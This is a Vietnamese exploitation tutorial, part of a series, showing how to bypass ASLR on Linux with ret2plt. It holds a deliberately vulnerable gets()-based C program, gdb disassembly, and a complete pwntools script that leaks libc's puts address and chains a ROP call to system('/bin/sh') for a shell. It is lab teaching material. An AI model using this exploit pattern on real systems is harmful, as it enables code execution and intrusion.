Chào mọi người, sau phần 5 – bypass Stack Canary, phần 6 mình sẽ hướng dẫn mọi người cách bypass cơ chế ASLR trên linux
1. ASLR là gì?
ASLS viết tắt của Address space layout randomization, tức là ngẫu nhiên hóa không gian địa chỉ. Từ phần 1 đến phần 5 chúng ta luôn tắt cơ chế này đi, bằng dòng lệnh sau:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
, nhằm tắt chế độ này đi. Khi chế độ này được bật, các thư viện sử dụng trong quá trình chạy tệp nhị phân sẽ được tải vào 1 địa chỉ bộ nhớ khác, để bật chế độ này, ta sửa giá trị của randomize_va_space thành 2: echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
. Cụ thể, để dễ hiểu hơn, mình sẽ có 1 file C như sau:
vuln.c
#include <stdio.h>
#include <string.h>
int main(){
char buff[10];
puts("String: ");
gets(buff);
return 0;
}
Tiến hành compile: gcc -m32 vuln.c -o vuln-32 -no-pie -mpreferred-stack-boundary=2
, mình tắt stackcanary để tập trung vào ASLR nha.
Sử dụng ldd vuln-32
để kiểm tra thư viện được sử dụng, ta được kết quả địa chỉ thư viện thay đổi sau mỗi lần chạy.
Có thể thấy sau mỗi lần sử dụng, địa chỉ của libc đã bị thay đổi, vì vậy, đối với việc sử dụng để bypass NX bằng ret2libc, chúng ta sẽ không thể làm được vì không thể biết được địa chỉ của libc này.
2. Bypass ASLR bằng ret2plt
Đầu tiên chúng ta cần hiểu PLT và GOT là gì. PLT (Procedure linkage table) và GOT (global offset table) là các phần trong tệp ELF nhằm xử lý các liên kết động. Cụ thể, khi trong chương trình sẽ có các hàm, ví dụ như ở trên sẽ là puts và gets, trong quá trình compile, nhằm giảm thiểu kích thước của tệp nhị phân, 2 function này sẽ không được compile cùng với chương trình. Thay vào đó, mỗi khi chạy chương trình đã được biên dịch, PLT và GOT sẽ phát huy tác dụng.
Mở gdb để phân tích file vuln
ở trên, thực hiện disassemble hàm main ta được kết quả như sau:
gef➤ disassemble main
Dump of assembler code for function main:
0x08049166 <+0>: push ebp
0x08049167 <+1>: mov ebp,esp
0x08049169 <+3>: push ebx
0x0804916a <+4>: sub esp,0xc
0x0804916d <+7>: call 0x80490a0 <__x86.get_pc_thunk.bx>
0x08049172 <+12>: add ebx,0x2e82
0x08049178 <+18>: lea eax,[ebx-0x1fec]
0x0804917e <+24>: push eax
0x0804917f <+25>: call 0x8049050 <puts@plt>
0x08049184 <+30>: add esp,0x4
0x08049187 <+33>: lea eax,[ebp-0xe]
0x0804918a <+36>: push eax
0x0804918b <+37>: call 0x8049040 <gets@plt>
0x08049190 <+42>: add esp,0x4
0x08049193 <+45>: mov eax,0x0
0x08049198 <+50>: mov ebx,DWORD PTR [ebp-0x4]
0x0804919b <+53>: leave
0x0804919c <+54>: ret
End of assembler dump.
Có thể thấy, chương trình không chuyển đến hàm puts mà là puts@plt
tại địa chỉ 0x8049050
, đặt breakpoint 0x0804917f
và chạy chương trình, kết quả là:
→ 0x804917f <main+25> call 0x8049050 <puts@plt>
↳ 0x8049050 <puts@plt+0> jmp DWORD PTR ds:0x804c008
0x8049056 <puts@plt+6> push 0x10
0x804905b <puts@plt+11> jmp 0x8049020
0x8049060 <_start+0> xor ebp, ebp
0x8049062 <_start+2> pop esi
0x8049063 <_start+3> mov ecx, esp
Kiểm tra địa chỉ tại 0x804c008
ta được:
gef➤ x/s 0x804c008
0x804c008 <puts@got.plt>: "V22004b"
Tiếp đến chương trình nhảy đến puts@got.plt, đây chính là nơi hàm puts được lưu trong thư viện libc.
Vì vậy, tóm lại, chỉ cần gọi function trong bảng plt, nó sẽ tự động thực hiện tìm kiếm địa chỉ của func trong got và thực hiện nó.
Thêm 1 điểm đặc biệt nữa, tuy địa chỉ của libc bị thay đổi, nhưng offset giữa nó và các function sẽ không thay đổi. Offset này ta có thể lấy được với libc.sym trong bảng symbols, vì vậy chỉ cần lấy ra được địa chỉ của function, ta có thể tính được địa chỉ của libc.
3. Tiến hành viết file exploit
Đầu tiên, cần xem xét function nào có thể sử dụng được để lấy địa chỉ.
gef➤ info functions
All defined functions:
Non-debugging symbols:
0x08049000 _init
0x08049030 __libc_start_main@plt
0x08049040 gets@plt
0x08049050 puts@plt
0x08049060 _start
0x08049090 _dl_relocate_static_pie
0x080490a0 __x86.get_pc_thunk.bx
0x080490b0 deregister_tm_clones
0x080490f0 register_tm_clones
0x08049130 __do_global_dtors_aux
0x08049160 frame_dummy
0x08049166 main
0x080491a0 _fini
Ta thấy ở đây có func puts sẽ in ra, vì vậy ta sẽ sử dụng nó để in ra địa chỉ của nó trong libc (puts@got), từ đó tính toán ra libc address.
Đầu tiên tìm địa chỉ của put@got bằng cách gọi hàm puts@plt với tham số đầu vào là puts@got, như vậy địa chỉ của puts@got sẽ được in ra.
from pwn import *
context(os='linux', arch='i386')
p = process('./vuln-32')
elf = ELF('./vuln-32')
libc = elf.libc
puts_got = elf.got['puts'] #puts@plt
puts_plt = elf.plt['puts'] #argument for puts@plt function
main = elf.sym['main'] #return address after puts function
payload = b'A'*18 + p32(puts_plt) + p32(main) + p32(puts_got)
p.sendline(payload)
p.readline()
data_recv = p.readline()
leaked_address = u32(data_recv[:-1])
libc.address = leaked_address - libc.sym['puts']
Cuối cùng thực hiện bypass NX bằng ROP, ta được file exploit.py như sau:
from pwn import *
context(os='linux', arch='i386')
p = process('./vuln-32')
elf = ELF('./vuln-32')
libc = elf.libc
puts_got = elf.got['puts'] #puts@plt
puts_plt = elf.plt['puts'] #argument for puts@plt function
main = elf.sym['main'] #return address after puts function
payload = b'A'*18 + p32(puts_plt) + p32(main) + p32(puts_got)
p.sendline(payload)
p.readline()
data_recv = p.readline()
leaked_address = u32(data_recv[:-1])
libc.address = leaked_address - libc.sym['puts']
rop = ROP(libc)
rop.raw("A"*18)
payload = b"A"*18 + b'x90'*8
rop.raw(rop.ret)
rop.system(next(libc.search(b"/bin/sh")))
p.sendline(rop.chain())
p.interactive()
Link github file series: https://github.com/vuongle-vigo/BinaryExploit
Link github bài này: https://github.com/vuongle-vigo/BinaryExploit/tree/master/Buffer Overflow/ASLR_Bypass
Nguồn: viblo.asia